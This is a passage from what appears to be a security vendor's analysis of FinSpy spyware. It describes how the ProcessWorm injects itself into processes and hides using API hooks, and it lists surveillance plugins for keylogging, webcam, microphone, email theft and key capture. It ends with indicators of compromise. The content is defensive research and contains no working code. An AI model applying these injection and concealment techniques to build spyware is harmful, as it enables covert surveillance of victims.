yellow](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152719/SAS_story_FinFisher_09.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152719/SAS_story_FinFisher_09.png>) **_Example of junk code created by the ProcessWorm loader, useful instructions are highlighted in yellow_** While executing its worm-like activity, the ProcessWorm injects itself into processes created by the process that are already infected with this component. To do that, it places a hook on the **CreateProcessInternalW** API function. If the new process is not created with a **DEBUG_PROCESS** or a **DEBUG_ONLY_THIS_PROCESS** flag, the hooked process creation function clears a possible hook of the **NtQueueAPCThread** function and then uses it to create an APC procedure in the new process. When the new process starts up, the ProcessWorm will be loaded with the help of the APC injection loader. Depending on the malware configuration, the ProcessWorm may hide the presence of FinSpy on the victim machine. It can conceal the malware's working directory, services, registry keys, C2 server addresses, as well as filter out event logs related to the malicious activity. The ProcessWorm achieves stealth by hooking low-level API functions (such as **NtEnumerateValueKey** or **NtQuerySystemInformation**) The rest of the malicious activity is dispersed across hooks of various WinAPI functions. They are placed in order to provide information to the plugins bundled with the malware. Examples of such information are typed keystrokes or documents sent to the printer. ## The macOS and Linux Orchestrator The macOS/Linux orchestrator is a simplified version of the Windows orchestrator. Unlike the Windows version, it does have the following components: * The Virtual File System (plugins and configurations are stored in separate files) * The ProcessWorm (its functionality is embedded into plugins) * The communicator module (the Orchestrator exchanges data with C2 servers without additional modules) * The application watcher (the Orchestrator does not report started or stopped processes to C2 servers) The functionalities of the Orchestrator remain the same: exchanging information with the C2 server, dispatching commands to plugins and managing recording files. ## Plugins overview In the chart below we summarize information about plugins. **Plugin ****type and ID** | **Features ** ---|--- FileManager (0x02) | Upload, download, search, delete files. Create file listing recordings CommandShell (0x04) | Create remote shell sessions TaskScheduler (0x05) | Create different types of recordings (file listings, microphone, screen, webcam) at a specified time by dispatching commands to appropriate plugins MicRecorder (0x10) | Livestream the victim's microphone or capture its recordings. KeyLogger (0x12) | Livestream or record keystrokes SkypeStealer (0x14) | Intercept Skype contacts, chats, calls and transferred files FileModificationRecorder (0x16) | Record files which have been modified FileAccessRecorder (0x17) | Record files which have been accessed PrintedFilesRecorder (0x18) | Steal files which are printed by the victim FileDeletionRecorder (0x19) | Record removed files ForensicLauncher (0x20) | Gather forensic data by downloading and executing specific utilities. (Windows only) VoIPRecorder, VoIPLite (0x21, 0x26) | Eavesdrop on, and take screenshots during, online conversations. (Windows only) ClickRecorder (0x22) | Capture the screen area around mouse click locations WebcamRecorder (0x23) | Take webcam images with a specified frame rate, and livestream or record them. ScreenRecorder (0x24) | Take screenshots with a specified frame rate, and livestream or record them. BlackberryInfect (0x25) | Infect Blackberry mobile devices with a malicious application. (Windows only) EmailRecorder (0x27) | Steal email from Thunderbird, Outlook, Apple Mail and Icedove WiFiRecorder (0x28) | Monitor available Wi-Fi networks RemovableRecorder (0x29) | Record files on inserted removable media CryptoKeyRecorder (0x30) | Capture encryption keys: SSL keys, S/MIME certificates, GPG/PGP keychains along with their passphrases. (Windows only) The full details of this research, as well as future updates on FinSpy, are available to customers of the APT reporting service through our Threat Intelligence Portal. # IoCs The following IoC list is not complete. If you want more information about the APT discussed here, a full IoC list and YARA rules are available to customers of Kaspersky Threat Intelligence Reports. Contact: [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>) **File Hashes** [5EDF9810355DE986EAD251B297856F38](<https://opentip.kaspersky.com/5EDF9810355DE986EAD251B297856F38/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) [31F1D208EE740E1FDF9667B2E525F3D7](<https://opentip.kaspersky.com/31F1D208EE740E1FDF9667B2E525F3D7/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) [4994952020DA28BB0AA023D236A6BF3B](<https://opentip.kaspersky.com/4994952020DA28BB0AA023D236A6BF3B/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) [262C9241B5F50293CB972C0E93D5D5FC](<https://opentip.kaspersky.com/262C9241B5F50293CB972C0E93D5D5FC/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) [405BB24ADE435693B11AF1D81E2BB279](<https://opentip.kaspersky.com/405BB24ADE435693B11AF1D81E2BB279/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) [EF74C95B1DBDBF9BD231DA1EE99F0A7E](<https://opentip.kaspersky.com/EF74C95B1DBDBF9BD231DA1EE99F0A7E/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) [B8A15A0CE29692FBA36A87FCDED971DE](<https://opentip.kaspersky.com/B8A15A0CE29692FBA36A87FCDED971DE/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) **File Paths** \efi\microsoft\boot\en-us\%HEXNUMS% - on EFI disk partition /Library/Frameworks/Storage.framework - for Mac OS version **Mutexes** SessionImmersiveMutex WininetStartupMutex0 **Events** 0x0A7F1FFAB12BB2 WinlogonLogon Debug.Trace.Event.f120.0.v1 TermSrvReadyEvent%HEXNUMS% SessionImmersiveEvent **Filemappings** 0x0A7F1FFAB12BB3 windows_shell_global **Mailslots** mailslot\x86_microsoft.windows.c-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_581cd2bf5825dde9 mailslot\x86_microsoft.vc90.mfc_1fc8b3b9a1e18e3b_9.0.30729.6161_none_4bf7e3e2bf9ada4c mailslot\6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2 mailslot\ConsoleEvent-0x00000DAC-16628266191048322066-650920812-1622683116-1844332734-1046489716-2050906124-443455187 **Domains and IPs** 45.86.136[.]138 79.143.87[.]216 185.25.51[.]104 109.235.67[.]175 213.252.247[.]105 108.61.190[.]183 185.141.24[.]204 1 Extended BIOS Data Area (<https://wiki.osdev.org/Memory_Map_(x86))>